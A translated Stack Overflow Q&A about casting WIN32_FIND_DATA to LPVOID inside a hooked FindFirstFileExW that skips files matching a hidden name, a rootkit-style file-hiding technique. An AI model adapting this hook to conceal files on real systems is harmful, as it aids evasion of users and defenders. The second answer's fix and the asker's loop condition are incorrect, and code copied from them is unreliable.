首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >将WIN32_FIND_DATA浇铸到LPVOID

将WIN32_FIND_DATA浇铸到LPVOID
EN

Stack Overflow用户
提问于 2011-12-02 16:51:48
回答 2查看 370关注 0票数 1

如何将WIN32_FIND_DATA转换为LPVOID?

我正在尝试连接一个函数,但我无法将WIN32_FIND_DATA转换为LPVOID。

这是我的职责:

代码语言:javascript
复制
/* New FindFirstFileW Function */
HANDLE WINAPI newFindFirstFileExW(__in LPCTSTR lpFileName, __in FINDEX_INFO_LEVELS fInfoLevelId, __out LPVOID lpFindFileData,  __in FINDEX_SEARCH_OPS fSearchOp,
                                     __reserved  LPVOID lpSearchFilter, __in DWORD dwAdditionalFlags)
{
    HANDLE hFind;
    WIN32_FIND_DATA findData;
    BOOL ret;
    hFind = FindFirstFileExW(lpFileName, fInfoLevelId, &findData, fSearchOp, lpSearchFilter, dwAdditionalFlags);

    if (hFind == INVALID_HANDLE_VALUE)
        return hFind;

    // if first file name starts with HIDE_NAME_W skip the file
    if (wcsstr(findData.cFileName, HIDE_NAME_W) != 0)
    {
        ret = true;
        do {
            ret = FindNextFileW(hFind, &findData);
        } while (!ret && wcsstr(findData.cFileName, HIDE_NAME_W) != 0);

        if (!ret)
        {
            SetLastError(ERROR_FILE_NOT_FOUND);
            return INVALID_HANDLE_VALUE;
        }
    }

    lpFindFileData = reinterpret_cast<LPVOID>(findData);
    return hFind;
}

编辑:谢谢大家的帮助,现在我的问题是我忘了更改被调用的函数。我在连接FindFirstFileExW的其他函数

EN

回答 2

Stack Overflow用户

回答已采纳

发布于 2011-12-02 17:08:33

您必须将WIN32_FIND_DATA复制到lpFindFileData的内存中。最后一次返回之前的行应该如下所示:

代码语言:javascript
复制
*reinterpret_cast<WIN32_FIND_DATA*>(lpFindFileData) = findData;
票数 2
EN

Stack Overflow用户

发布于 2011-12-02 17:02:49

lpFindFileData = reinterpret_cast<LPVOID>(findData);

findData不是这个上下文中的指针,它是一个实际的WIN32_FIND_DATA

取而代之的是这样做:

lpFindFileData = reinterpret_cast<LPVOID>(&findData);

票数 2
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/8359752

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档